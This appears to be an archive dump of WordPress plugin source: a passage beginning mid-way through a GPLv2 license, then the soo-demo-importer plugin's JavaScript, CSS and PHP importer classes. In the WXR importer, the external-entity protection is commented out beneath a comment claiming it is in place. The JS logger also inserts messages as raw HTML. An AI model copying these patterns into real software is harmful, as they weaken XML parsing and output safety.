Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA


Contact Form 7 WordPress Plugin bundles the following third-party resources:

The official icon designed by Cheung Vong
https://contactform7.com/2020/04/08/new-official-logo/


=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

                    GNU GENERAL PUBLIC LICENSE
                       Version 2, June 1991

 Copyright (C) 1989, 1991 Free Software Foundation, Inc.,
 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
 Everyone is permitted to copy and distribute verbatim copies
 of this license document, but changing it is not allowed.

                            Preamble

  The licenses for most software are designed to take away your
freedom to share and change it.  By contrast, the GNU General Public
License is intended to guarantee your freedom to share and change free
software--to make sure the software is free for all its users.  This
General Public License applies to most of the Free Software
Foundation's software and to any other program whose authors commit to
using it.  (Some other Free Software Foundation software is covered by
the GNU Lesser General Public License instead.)  You can apply it to
your programs, too.

  When we speak of free software, we are referring to freedom, not
price.  Our General Public Licenses are designed to make sure that you
have the freedom to distribute copies of free software (and charge for
this service if you wish), that you receive source code or can get it
if you want it, that you can change the software or use pieces of it
in new free programs; and that you know you can do these things.

  To protect your rights, we need to make restrictions that forbid
anyone to deny you these rights or to ask you to surrender the rights.
These restrictions translate to certain responsibilities for you if you
distribute copies of the software, or if you modify it.

  For example, if you distribute copies of such a program, whether
gratis or for a fee, you must give the recipients all the rights that
you have.  You must make sure that they, too, receive or can get the
source code.  And you must show them these terms so they know their
rights.

  We protect your rights with two steps: (1) copyright the software, and
(2) offer you this license which gives you legal permission to copy,
distribute and/or modify the software.

  Also, for each author's protection and ours, we want to make certain
that everyone understands that there is no warranty for this free
software.  If the software is modified by someone else and passed on, we
want its recipients to know that what they have is not the original, so
that any problems introduced by others will not reflect on the original
authors' reputations.

  Finally, any free program is threatened constantly by software
patents.  We wish to avoid the danger that redistributors of a free
program will individually obtain patent licenses, in effect making the
program proprietary.  To prevent this, we have made it clear that any
patent must be licensed for everyone's free use or not licensed at all.

  The precise terms and conditions for copying, distribution and
modification follow.

                    GNU GENERAL PUBLIC LICENSE
   TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION

  0. This License applies to any program or other work which contains
a notice placed by the copyright holder saying it may be distributed
under the terms of this General Public License.  The "Program", below,
refers to any such program or work, and a "work based on the Program"
means either the Program or any derivative work under copyright law:
that is to say, a work containing the Program or a portion of it,
either verbatim or with modifications and/or translated into another
language.  (Hereinafter, translation is included without limitation in
the term "modification".)  Each licensee is addressed as "you".

Activities other than copying, distribution and modification are not
covered by this License; they are outside its scope.  The act of
running the Program is not restricted, and the output from the Program
is covered only if its contents constitute a work based on the
Program (independent of having been made by running the Program).
Whether that is true depends on what the Program does.

  1. You may copy and distribute verbatim copies of the Program's
source code as you receive it, in any medium, provided that you
conspicuously and appropriately publish on each copy an appropriate
copyright notice and disclaimer of warranty; keep intact all the
notices that refer to this License and to the absence of any warranty;
and give any other recipients of the Program a copy of this License
along with the Program.

You may charge a fee for the physical act of transferring a copy, and
you may at your option offer warranty protection in exchange for a fee.

  2. You may modify your copy or copies of the Program or any portion
of it, thus forming a work based on the Program, and copy and
distribute such modifications or work under the terms of Section 1
above, provided that you also meet all of these conditions:

    a) You must cause the modified files to carry prominent notices
    stating that you changed the files and the date of any change.

    b) You must cause any work that you distribute or publish, that in
    whole or in part contains or is derived from the Program or any
    part thereof, to be licensed as a whole at no charge to all third
    parties under the terms of this License.

    c) If the modified program normally reads commands interactively
    when run, you must cause it, when started running for such
    interactive use in the most ordinary way, to print or display an
    announcement including an appropriate copyright notice and a
    notice that there is no warranty (or else, saying that you provide
    a warranty) and that users may redistribute the program under
    these conditions, and telling the user how to view a copy of this
    License.  (Exception: if the Program itself is interactive but
    does not normally print such an announcement, your work based on
    the Program is not required to print an announcement.)

These requirements apply to the modified work as a whole.  If
identifiable sections of that work are not derived from the Program,
and can be reasonably considered independent and separate works in
themselves, then this License, and its terms, do not apply to those
sections when you distribute them as separate works.  But when you
distribute the same sections as part of a whole which is a work based
on the Program, the distribution of the whole must be on the terms of
this License, whose permissions for other licensees extend to the
entire whole, and thus to each and every part regardless of who wrote it.

Thus, it is not the intent of this section to claim rights or contest
your rights to work written entirely by you; rather, the intent is to
exercise the right to control the distribution of derivative or
collective works based on the Program.

In addition, mere aggregation of another work not based on the Program
with the Program (or with a work based on the Program) on a volume of
a storage or distribution medium does not bring the other work under
the scope of this License.

  3. You may copy and distribute the Program (or a work based on it,
under Section 2) in object code or executable form under the terms of
Sections 1 and 2 above provided that you also do one of the following:

    a) Accompany it with the complete corresponding machine-readable
    source code, which must be distributed under the terms of Sections
    1 and 2 above on a medium customarily used for software interchange; or,

    b) Accompany it with a written offer, valid for at least three
    years, to give any third party, for a charge no more than your
    cost of physically performing source distribution, a complete
    machine-readable copy of the corresponding source code, to be
    distributed under the terms of Sections 1 and 2 above on a medium
    customarily used for software interchange; or,

    c) Accompany it with the information you received as to the offer
    to distribute corresponding source code.  (This alternative is
    allowed only for noncommercial distribution and only if you
    received the program in object code or executable form with such
    an offer, in accord with Subsection b above.)

The source code for a work means the preferred form of the work for
making modifications to it.  For an executable work, complete source
code means all the source code for all modules it contains, plus any
associated interface definition files, plus the scripts used to
control compilation and installation of the executable.  However, as a
special exception, the source code distributed need not include
anything that is normally distributed (in either source or binary
form) with the major components (compiler, kernel, and so on) of the
operating system on which the executable runs, unless that component
itself accompanies the executable.

If distribution of executable or object code is made by offering
access to copy from a designated place, then offering equivalent
access to copy the source code from the same place counts as
distribution of the source code, even though third parties are not
compelled to copy the source along with the object code.

  4. You may not copy, modify, sublicense, or distribute the Program
except as expressly provided under this License.  Any attempt
otherwise to copy, modify, sublicense or distribute the Program is
void, and will automatically terminate your rights under this License.
However, parties who have received copies, or rights, from you under
this License will not have their licenses terminated so long as such
parties remain in full compliance.

  5. You are not required to accept this License, since you have not
signed it.  However, nothing else grants you permission to modify or
distribute the Program or its derivative works.  These actions are
prohibited by law if you do not accept this License.  Therefore, by
modifying or distributing the Program (or any work based on the
Program), you indicate your acceptance of this License to do so, and
all its terms and conditions for copying, distributing or modifying
the Program or works based on it.

  6. Each time you redistribute the Program (or any work based on the
Program), the recipient automatically receives a license from the
original licensor to copy, distribute or modify the Program subject to
these terms and conditions.  You may not impose any further
restrictions on the recipients' exercise of the rights granted herein.
You are not responsible for enforcing compliance by third parties to
this License.

  7. If, as a consequence of a court judgment or allegation of patent
infringement or for any other reason (not limited to patent issues),
conditions are imposed on you (whether by court order, agreement or
otherwise) that contradict the conditions of this License, they do not
excuse you from the conditions of this License.  If you cannot
distribute so as to satisfy simultaneously your obligations under this
License and any other pertinent obligations, then as a consequence you
may not distribute the Program at all.  For example, if a patent
license would not permit royalty-free redistribution of the Program by
all those who receive copies directly or indirectly through you, then
the only way you could satisfy both it and this License would be to
refrain entirely from distribution of the Program.

If any portion of this section is held invalid or unenforceable under
any particular circumstance, the balance of the section is intended to
apply and the section as a whole is intended to apply in other
circumstances.

It is not the purpose of this section to induce you to infringe any
patents or other property right claims or to contest validity of any
such claims; this section has the sole purpose of protecting the
integrity of the free software distribution system, which is
implemented by public license practices.  Many people have made
generous contributions to the wide range of software distributed
through that system in reliance on consistent application of that
system; it is up to the author/donor to decide if he or she is willing
to distribute software through any other system and a licensee cannot
impose that choice.

This section is intended to make thoroughly clear what is believed to
be a consequence of the rest of this License.

  8. If the distribution and/or use of the Program is restricted in
certain countries either by patents or by copyrighted interfaces, the
original copyright holder who places the Program under this License
may add an explicit geographical distribution limitation excluding
those countries, so that distribution is permitted only in or among
countries not thus excluded.  In such case, this License incorporates
the limitation as if written in the body of this License.

  9. The Free Software Foundation may publish revised and/or new versions
of the General Public License from time to time.  Such new versions will
be similar in spirit to the present version, but may differ in detail to
address new problems or concerns.

Each version is given a distinguishing version number.  If the Program
specifies a version number of this License which applies to it and "any
later version", you have the option of following the terms and conditions
either of that version or of any later version published by the Free
Software Foundation.  If the Program does not specify a version number of
this License, you may choose any version ever published by the Free Software
Foundation.

  10. If you wish to incorporate parts of the Program into other free
programs whose distribution conditions are different, write to the author
to ask for permission.  For software which is copyrighted by the Free
Software Foundation, write to the Free Software Foundation; we sometimes
make exceptions for this.  Our decision will be guided by the two goals
of preserving the free status of all derivatives of our free software and
of promoting the sharing and reuse of software generally.

                            NO WARRANTY

  11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY
FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW.  EXCEPT WHEN
OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES
PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED
OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.  THE ENTIRE RISK AS
TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU.  SHOULD THE
PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING,
REPAIR OR CORRECTION.

  12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR
REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES,
INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING
OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED
TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY
YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER
PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE
POSSIBILITY OF SUCH DAMAGES.

                     END OF TERMS AND CONDITIONS

            How to Apply These Terms to Your New Programs

  If you develop a new program, and you want it to be of the greatest
possible use to the public, the best way to achieve this is to make it
free software which everyone can redistribute and change under these terms.

  To do so, attach the following notices to the program.  It is safest
to attach them to the start of each source file to most effectively
convey the exclusion of warranty; and each file should have at least
the "copyright" line and a pointer to where the full notice is found.

    <one line to give the program's name and a brief idea of what it does.>
    Copyright (C) <year>  <name of author>

    This program is free software; you can redistribute it and/or modify
    it under the terms of the GNU General Public License as published by
    the Free Software Foundation; either version 2 of the License, or
    (at your option) any later version.

    This program is distributed in the hope that it will be useful,
    but WITHOUT ANY WARRANTY; without even the implied warranty of
    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
    GNU General Public License for more details.

    You should have received a copy of the GNU General Public License along
    with this program; if not, write to the Free Software Foundation, Inc.,
    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.

Also add information on how to contact you by electronic and paper mail.

If the program is interactive, make it output a short notice like this
when it starts in an interactive mode:

    Gnomovision version 69, Copyright (C) year name of author
    Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
    This is free software, and you are welcome to redistribute it
    under certain conditions; type `show c' for details.

The hypothetical commands `show w' and `show c' should show the appropriate
parts of the General Public License.  Of course, the commands you use may
be called something other than `show w' and `show c'; they could even be
mouse-clicks or menu items--whatever suits your program.

You should also get your employer (if you work as a programmer) or your
school, if any, to sign a "copyright disclaimer" for the program, if
necessary.  Here is a sample; alter the names:

  Yoyodyne, Inc., hereby disclaims all copyright interest in the program
  `Gnomovision' (which makes passes at compilers) written by James Hacker.

  <signature of Ty Coon>, 1 April 1989
  Ty Coon, President of Vice

This General Public License does not permit incorporating your program into
proprietary programs.  If your program is a subroutine library, you may
consider it more useful to permit linking proprietary applications with the
library.  If this is what you want to do, use the GNU Lesser General
Public License instead of this License.
soo-demo-importer/assets/js/soo-import.js000064400000007724147510273060014530 0ustar00jQuery( document ).ready( function( $ ) {
	"use strict";

	var soodi = {
		init: function() {
			this.$progress = $( '#soo-demo-import-progress' );
			this.$log = $( '#soo-demo-import-log' );
			this.$importer = $( '#soo-demo-importer' );
			this.steps = ['content', 'customizer', 'widgets', 'sliders'];

			if ( ! this.$importer.length ) {
				return;
			}

			/**
			 * The first step: download content file
			 */
			this.download( soodi.steps.shift() );
		},

		download: function( type ) {
			soodi.log( 'Downloading ' + type + ' file' );

			$.get(
				ajaxurl,
				{
					action: 'soodi_download_file',
					type: type,
					demo: soodi.$importer.find( 'input[name="demo"]' ).val(),
					_wpnonce: soodi.$importer.find( 'input[name="_wpnonce"]' ).val()
				},
				function( response ) {
					if ( response.success ) {
						soodi.import( type );
					} else {
						soodi.log( response.data );

						if ( soodi.steps.length ) {
							soodi.download( soodi.steps.shift() );
						} else {
							soodi.configTheme();
						}
					}
				}
			).fail( function() {
				soodi.log( 'Failed' );
			} );
		},

		import: function( type ) {
			soodi.log( 'Importing ' + type );

			var data = {
					action: 'soodi_import',
					type: type,
					_wpnonce: soodi.$importer.find( 'input[name="_wpnonce"]' ).val()
				};
			var url = ajaxurl + '?' + $.param( data );
			var evtSource = new EventSource( url );

			evtSource.addEventListener( 'message', function ( message ) {
				var data = JSON.parse( message.data );

				switch ( data.action ) {
					case 'updateTotal':
						console.log( data.delta );
						break;

					case 'updateDelta':
						console.log(data.delta);
						break;

					case 'complete':
						evtSource.close();
						soodi.log( type + ' has been imported successfully!' );

						if ( soodi.steps.length ) {
							soodi.download( soodi.steps.shift() );
						} else {
							soodi.configTheme();
						}

						break;
				}
			} );

			evtSource.addEventListener( 'log', function ( message ) {
				var data = JSON.parse( message.data );
				soodi.log( data.message );
			});
		},

		configTheme: function() {
			$.get(
				ajaxurl,
				{
					action: 'soodi_config_theme',
					demo: soodi.$importer.find( 'input[name="demo"]' ).val(),
					_wpnonce: soodi.$importer.find( 'input[name="_wpnonce"]' ).val()
				},
				function( response ) {
					if ( response.success ) {
						soodi.generateImages();
					}

					soodi.log( response.data );
				}
			).fail( function() {
				soodi.log( 'Failed' );
			} );
		},

		generateImages: function() {
			$.get(
				ajaxurl,
				{
					action: 'soodi_get_images',
					_wpnonce: soodi.$importer.find( 'input[name="_wpnonce"]' ).val()
				},
				function( response ) {
					if ( ! response.success ) {
						soodi.log( response.data );
						soodi.log( 'Import completed!' );
						soodi.$progress.find( '.spinner' ).hide();
						return;
					} else {
						var ids = response.data;

						if ( ! ids.length ) {
							soodi.log( 'Import completed!' );
							soodi.$progress.find( '.spinner' ).hide();
						}

						soodi.log( 'Starting generate ' + ids.length + ' images' );

						soodi.generateSingleImage( ids );
					}
				}
			);
		},

		generateSingleImage: function( ids ) {
			if ( ! ids.length ) {
				soodi.log( 'Import completed!' );
				soodi.$progress.find( '.spinner' ).hide();
				return;
			}

			var id = ids.shift();

			$.get(
				ajaxurl,
				{
					action: 'soodi_generate_image',
					id: id,
					_wpnonce: soodi.$importer.find( 'input[name="_wpnonce"]' ).val()
				},
				function( response ) {
					soodi.log( response.data + ' (' + ids.length + ' images left)' );

					soodi.generateSingleImage( ids );
				}
			);
		},

		log: function( message ) {
			soodi.$progress.find( '.text' ).text( message );
			soodi.$log.append( '<p>' + message + '</p>' );
		}
	};


	soodi.init();
} );
soo-demo-importer/assets/css/soo-import.css000064400000001452147510273060015050 0ustar00.demos-container {
	overflow: hidden;
	text-align: center;
}

.demo-selector {
	display: inline-block;
	width: 20%;
	border: 1px solid #dedede;
	margin: 0 3% 3% 0;
	position: relative;
}

.demo-image {
	position: relative;
}

.demo-image img {
	width: 100%;
	display: block;
}

.demo-selector-tools {
	position: relative;
	border-top: 1px solid #dedede;
	background-color: rgba(255,255,255,.65)
}

.demo-install-actions {
	position: relative;
	z-index: 2;
}

.demo-selector-tools .button {
	float: right;
}

.demo-selector-tools .button {
	margin: 10px 15px 10px 0;
}

.demo-title {
	font-size: 15px;
	font-weight: 600;
	text-align: left;
	margin: 0;
	padding: 15px;
}

#soo-demo-import-progress .spinner {
	float: left;
	margin-top: 0;
	margin-left: 0;
}
soo-demo-importer/README.md000064400000000023147510273060011404 0ustar00soo-demo-importer
soo-demo-importer/includes/class-logger-cli.php000064400000001552147510273060015603 0ustar00<?php

class WP_Importer_Logger_CLI extends WP_Importer_Logger {
	public $min_level = 'notice';

	/**
	 * Logs with an arbitrary level.
	 *
	 * @param mixed $level
	 * @param string $message
	 * @param array $context
	 * @return null
	 */
	public function log( $level, $message, array $context = array() ) {
		if ( $this->level_to_numeric( $level ) < $this->level_to_numeric( $this->min_level ) ) {
			return;
		}

		printf(
			'[%s] %s' . PHP_EOL,
			strtoupper( $level ),
			$message
		);
	}

	public static function level_to_numeric( $level ) {
		$levels = array(
			'emergency' => 8,
			'alert'     => 7,
			'critical'  => 6,
			'error'     => 5,
			'warning'   => 4,
			'notice'    => 3,
			'info'      => 2,
			'debug'     => 1,
		);
		if ( ! isset( $levels[ $level ] ) ) {
			return 0;
		}

		return $levels[ $level ];
	}
}
soo-demo-importer/includes/class-wxr-importer.php000064400000230444147510273060016242 0ustar00<?php

class WXR_Importer extends WP_Importer {
	/**
	 * Maximum supported WXR version
	 */
	const MAX_WXR_VERSION = 1.2;

	/**
	 * Regular expression for checking if a post references an attachment
	 *
	 * Note: This is a quick, weak check just to exclude text-only posts. More
	 * vigorous checking is done later to verify.
	 */
	const REGEX_HAS_ATTACHMENT_REFS = '!
		(
			# Match anything with an image or attachment class
			class=[\'"].*?\b(wp-image-\d+|attachment-[\w\-]+)\b
		|
			# Match anything that looks like an upload URL
			src=[\'"][^\'"]*(
				[0-9]{4}/[0-9]{2}/[^\'"]+\.(jpg|jpeg|png|gif)
			|
				content/uploads[^\'"]+
			)[\'"]
		)!ix';

	/**
	 * Version of WXR we're importing.
	 *
	 * Defaults to 1.0 for compatibility. Typically overridden by a
	 * `<wp:wxr_version>` tag at the start of the file.
	 *
	 * @var string
	 */
	protected $version = '1.0';

	// information to import from WXR file
	protected $categories = array();
	protected $tags = array();
	protected $base_url = '';

	// TODO: REMOVE THESE
	protected $processed_terms = array();
	protected $processed_posts = array();
	protected $processed_menu_items = array();
	protected $menu_item_orphans = array();
	protected $missing_menu_items = array();

	// NEW STYLE
	public $options = array();
	protected $mapping = array();
	protected $requires_remapping = array();
	protected $exists = array();
	protected $user_slug_override = array();

	protected $url_remap = array();
	protected $featured_images = array();

	/**
	 * Logger instance.
	 *
	 * @var WPImporterLogger
	 */
	protected $logger;

	/**
	 * Constructor
	 *
	 * @param array $options {
	 *     @var bool $prefill_existing_posts Should we prefill `post_exists` calls? (True prefills and uses more memory, false checks once per imported post and takes longer. Default is true.)
	 *     @var bool $prefill_existing_comments Should we prefill `comment_exists` calls? (True prefills and uses more memory, false checks once per imported comment and takes longer. Default is true.)
	 *     @var bool $prefill_existing_terms Should we prefill `term_exists` calls? (True prefills and uses more memory, false checks once per imported term and takes longer. Default is true.)
	 *     @var bool $update_attachment_guids Should attachment GUIDs be updated to the new URL? (True updates the GUID, which keeps compatibility with v1, false doesn't update, and allows duplication and reimporting. Default is false.)
	 *     @var bool $fetch_attachments Fetch attachments from the remote server. (True fetches and creates attachment posts, false skips attachments. Default is false.)
	 *     @var bool $aggressive_url_search Should we search/replace for URLs aggressively? (True searches all posts' content for old URLs and replaces, false checks for `<img class="wp-image-*">` only. Default is false.)
	 *     @var int $default_author User ID to use if author is missing or invalid. (Default is null, which leaves posts unassigned.)
	 * }
	 */
	public function __construct( $options = array() ) {
		// Initialize some important variables
		$empty_types = array(
			'post'    => array(),
			'comment' => array(),
			'term'    => array(),
			'user'    => array(),
		);

		$this->mapping = $empty_types;
		$this->mapping['user_slug'] = array();
		$this->mapping['term_id'] = array();
		$this->requires_remapping = $empty_types;
		$this->exists = $empty_types;

		$this->options = wp_parse_args( $options, array(
			'prefill_existing_posts'    => true,
			'prefill_existing_comments' => true,
			'prefill_existing_terms'    => true,
			'update_attachment_guids'   => false,
			'fetch_attachments'         => false,
			'aggressive_url_search'     => false,
			'default_author'            => null,
		) );
	}

	public function set_logger( $logger ) {
		$this->logger = $logger;
	}

	/**
	 * Get a stream reader for the file.
	 *
	 * @param string $file Path to the XML file.
	 * @return XMLReader|WP_Error Reader instance on success, error otherwise.
	 */
	protected function get_reader( $file ) {
		// Avoid loading external entities for security
		$old_value = null;
		if ( function_exists( 'libxml_disable_entity_loader' ) ) {
			// $old_value = libxml_disable_entity_loader( true );
		}

		$reader = new XMLReader();
		$status = $reader->open( $file );

		if ( ! is_null( $old_value ) ) {
			// libxml_disable_entity_loader( $old_value );
		}

		if ( ! $status ) {
			return new WP_Error( 'wxr_importer.cannot_parse', __( 'Could not open the file for parsing', 'wordpress-importer' ) );
		}

		return $reader;
	}

	/**
	 * The main controller for the actual import stage.
	 *
	 * @param string $file Path to the WXR file for importing
	 *
	 * @return WXRImportInfo|WP_Error
	 */
	public function get_preliminary_information( $file ) {
		// Let's run the actual importer now, woot
		$reader = $this->get_reader( $file );
		if ( is_wp_error( $reader ) ) {
			return $reader;
		}

		// Set the version to compatibility mode first
		$this->version = '1.0';

		// Start parsing!
		$data = new WXRImportInfo();
		while ( $reader->read() ) {
			// Only deal with element opens
			if ( $reader->nodeType !== XMLReader::ELEMENT ) {
				continue;
			}

			switch ( $reader->name ) {
				case 'wp:wxr_version':
					// Upgrade to the correct version
					$this->version = $reader->readString();

					if ( version_compare( $this->version, self::MAX_WXR_VERSION, '>' ) ) {
						$this->logger->warning( sprintf(
							__( 'This WXR file (version %s) is newer than the importer (version %s) and may not be supported. Please consider updating.', 'wordpress-importer' ),
							$this->version,
							self::MAX_WXR_VERSION
						) );
					}

					// Handled everything in this node, move on to the next
					$reader->next();
					break;

				case 'generator':
					$data->generator = $reader->readString();
					$reader->next();
					break;

				case 'title':
					$data->title = $reader->readString();
					$reader->next();
					break;

				case 'wp:base_site_url':
					$data->siteurl = $reader->readString();
					$reader->next();
					break;

				case 'wp:base_blog_url':
					$data->home = $reader->readString();
					$reader->next();
					break;

				case 'wp:author':
					$node = $reader->expand();

					$parsed = $this->parse_author_node( $node );
					if ( is_wp_error( $parsed ) ) {
						$this->log_error( $parsed );

						// Skip the rest of this post
						$reader->next();
						break;
					}

					$data->users[] = $parsed;

					// Handled everything in this node, move on to the next
					$reader->next();
					break;

				case 'item':
					$node = $reader->expand();
					$parsed = $this->parse_post_node( $node );
					if ( is_wp_error( $parsed ) ) {
						$this->log_error( $parsed );

						// Skip the rest of this post
						$reader->next();
						break;
					}

					if ( $parsed['data']['post_type'] === 'attachment' ) {
						$data->media_count++;
					} else {
						$data->post_count++;
					}
					$data->comment_count += count( $parsed['comments'] );

					// Handled everything in this node, move on to the next
					$reader->next();
					break;

				case 'wp:category':
				case 'wp:tag':
				case 'wp:term':
					$data->term_count++;

					// Handled everything in this node, move on to the next
					$reader->next();
					break;
			}
		}

		$data->version = $this->version;

		return $data;
	}

	/**
	 * The main controller for the actual import stage.
	 *
	 * @param string $file Path to the WXR file for importing
	 *
	 * @return array|WP_Error
	 */
	public function parse_authors( $file ) {
		// Let's run the actual importer now, woot
		$reader = $this->get_reader( $file );
		if ( is_wp_error( $reader ) ) {
			return $reader;
		}

		// Set the version to compatibility mode first
		$this->version = '1.0';

		// Start parsing!
		$authors = array();
		while ( $reader->read() ) {
			// Only deal with element opens
			if ( $reader->nodeType !== XMLReader::ELEMENT ) {
				continue;
			}

			switch ( $reader->name ) {
				case 'wp:wxr_version':
					// Upgrade to the correct version
					$this->version = $reader->readString();

					if ( version_compare( $this->version, self::MAX_WXR_VERSION, '>' ) ) {
						$this->logger->warning( sprintf(
							__( 'This WXR file (version %s) is newer than the importer (version %s) and may not be supported. Please consider updating.', 'wordpress-importer' ),
							$this->version,
							self::MAX_WXR_VERSION
						) );
					}

					// Handled everything in this node, move on to the next
					$reader->next();
					break;

				case 'wp:author':
					$node = $reader->expand();

					$parsed = $this->parse_author_node( $node );
					if ( is_wp_error( $parsed ) ) {
						$this->log_error( $parsed );

						// Skip the rest of this post
						$reader->next();
						break;
					}

					$authors[] = $parsed;

					// Handled everything in this node, move on to the next
					$reader->next();
					break;
			}
		}

		return $authors;
	}

	/**
	 * The main controller for the actual import stage.
	 *
	 * @param string $file Path to the WXR file for importing.
	 */
	public function import( $file ) {
		add_filter( 'import_post_meta_key', array( $this, 'is_valid_meta_key' ) );
		add_filter( 'http_request_timeout', array( &$this, 'bump_request_timeout' ) );

		/*
		 * Elementor fix for excessive use of `wp_slash` after our update v3.0.2.
		 * Method in Elementor: \Elementor\Compatibility::register_actions
		 * https://wordpress.org/support/topic/version-2-6-0-breaks-every-elementor-theme/
		 *
		 * This can be removed after Elementor skips the functionality in above method if our plugin is in use.
		 */
		if ( method_exists( 'Elementor\Compatibility', 'on_wxr_importer_pre_process_post_meta' ) ) {
			remove_action( 'wxr_importer.pre_process.post_meta', array( 'Elementor\Compatibility', 'on_wxr_importer_pre_process_post_meta' ) );
		}

		$result = $this->import_start( $file );
		if ( is_wp_error( $result ) ) {
			return $result;
		}

		// Let's run the actual importer now, woot
		$reader = $this->get_reader( $file );
		if ( is_wp_error( $reader ) ) {
			return $reader;
		}

		// Set the version to compatibility mode first
		$this->version = '1.0';

		// Reset other variables
		$this->base_url = '';

		// Start parsing!
		while ( $reader->read() ) {
			// Only deal with element opens
			if ( $reader->nodeType !== XMLReader::ELEMENT ) {
				continue;
			}

			switch ( $reader->name ) {
				case 'wp:wxr_version':
					// Upgrade to the correct version
					$this->version = $reader->readString();

					if ( version_compare( $this->version, self::MAX_WXR_VERSION, '>' ) ) {
						$this->logger->warning( sprintf(
							__( 'This WXR file (version %s) is newer than the importer (version %s) and may not be supported. Please consider updating.', 'wordpress-importer' ),
							$this->version,
							self::MAX_WXR_VERSION
						) );
					}

					// Handled everything in this node, move on to the next
					$reader->next();
					break;

				case 'wp:base_site_url':
					$this->base_url = $reader->readString();

					// Handled everything in this node, move on to the next
					$reader->next();
					break;

				case 'item':
					$node = $reader->expand();
					$parsed = $this->parse_post_node( $node );
					if ( is_wp_error( $parsed ) ) {
						$this->log_error( $parsed );

						// Skip the rest of this post
						$reader->next();
						break;
					}

					$this->process_post( $parsed['data'], $parsed['meta'], $parsed['comments'], $parsed['terms'] );

					// Handled everything in this node, move on to the next
					$reader->next();
					break;

				case 'wp:author':
					$node = $reader->expand();

					$parsed = $this->parse_author_node( $node );
					if ( is_wp_error( $parsed ) ) {
						$this->log_error( $parsed );

						// Skip the rest of this post
						$reader->next();
						break;
					}

					$status = $this->process_author( $parsed['data'], $parsed['meta'] );
					if ( is_wp_error( $status ) ) {
						$this->log_error( $status );
					}

					// Handled everything in this node, move on to the next
					$reader->next();
					break;

				case 'wp:category':
					$node = $reader->expand();

					$parsed = $this->parse_term_node( $node, 'category' );
					if ( is_wp_error( $parsed ) ) {
						$this->log_error( $parsed );

						// Skip the rest of this post
						$reader->next();
						break;
					}

					$status = $this->process_term( $parsed['data'], $parsed['meta'] );

					// Handled everything in this node, move on to the next
					$reader->next();
					break;

				case 'wp:tag':
					$node = $reader->expand();

					$parsed = $this->parse_term_node( $node, 'tag' );
					if ( is_wp_error( $parsed ) ) {
						$this->log_error( $parsed );

						// Skip the rest of this post
						$reader->next();
						break;
					}

					$status = $this->process_term( $parsed['data'], $parsed['meta'] );

					// Handled everything in this node, move on to the next
					$reader->next();
					break;

				case 'wp:term':
					$node = $reader->expand();

					$parsed = $this->parse_term_node( $node );
					if ( is_wp_error( $parsed ) ) {
						$this->log_error( $parsed );

						// Skip the rest of this post
						$reader->next();
						break;
					}

					$status = $this->process_term( $parsed['data'], $parsed['meta'] );

					// Handled everything in this node, move on to the next
					$reader->next();
					break;

				default:
					// Skip this node, probably handled by something already
					break;
			}
		}

		// Now that we've done the main processing, do any required
		// post-processing and remapping.
		$this->post_process();

		if ( $this->options['aggressive_url_search'] ) {
			$this->replace_attachment_urls_in_content();
		}

		$this->remap_featured_images();

		$this->import_end();
	}

	/**
	 * Log an error instance to the logger.
	 *
	 * @param WP_Error $error Error instance to log.
	 */
	protected function log_error( WP_Error $error ) {
		$this->logger->warning( $error->get_error_message() );

		// Log the data as debug info too
		$data = $error->get_error_data();
		if ( ! empty( $data ) ) {
			$this->logger->debug( var_export( $data, true ) );
		}
	}

	/**
	 * Parses the WXR file and prepares us for the task of processing parsed data
	 *
	 * @param string $file Path to the WXR file for importing
	 */
	protected function import_start( $file ) {
		if ( ! is_file( $file ) ) {
			return new WP_Error( 'wxr_importer.file_missing', __( 'The file does not exist, please try again.', 'wordpress-importer' ) );
		}

		// Suspend bunches of stuff in WP core
		wp_defer_term_counting( true );
		wp_defer_comment_counting( true );
		wp_suspend_cache_invalidation( true );

		// Prefill exists calls if told to
		if ( $this->options['prefill_existing_posts'] ) {
			$this->prefill_existing_posts();
		}
		if ( $this->options['prefill_existing_comments'] ) {
			$this->prefill_existing_comments();
		}
		if ( $this->options['prefill_existing_terms'] ) {
			$this->prefill_existing_terms();
		}

		/**
		 * Begin the import.
		 *
		 * Fires before the import process has begun. If you need to suspend
		 * caching or heavy processing on hooks, do so here.
		 */
		do_action( 'import_start' );
	}

	/**
	 * Performs post-import cleanup of files and the cache
	 */
	protected function import_end() {
		// Re-enable stuff in core
		wp_suspend_cache_invalidation( false );
		wp_cache_flush();

		foreach ( get_taxonomies() as $tax ) {
			delete_option( "{$tax}_children" );
			_get_term_hierarchy( $tax );
		}

		wp_defer_term_counting( false );
		wp_defer_comment_counting( false );

		flush_rewrite_rules();

		/**
		 * Complete the import.
		 *
		 * Fires after the import process has finished. If you need to update
		 * your cache or re-enable processing, do so here.
		 */
		do_action( 'import_end' );
	}

	/**
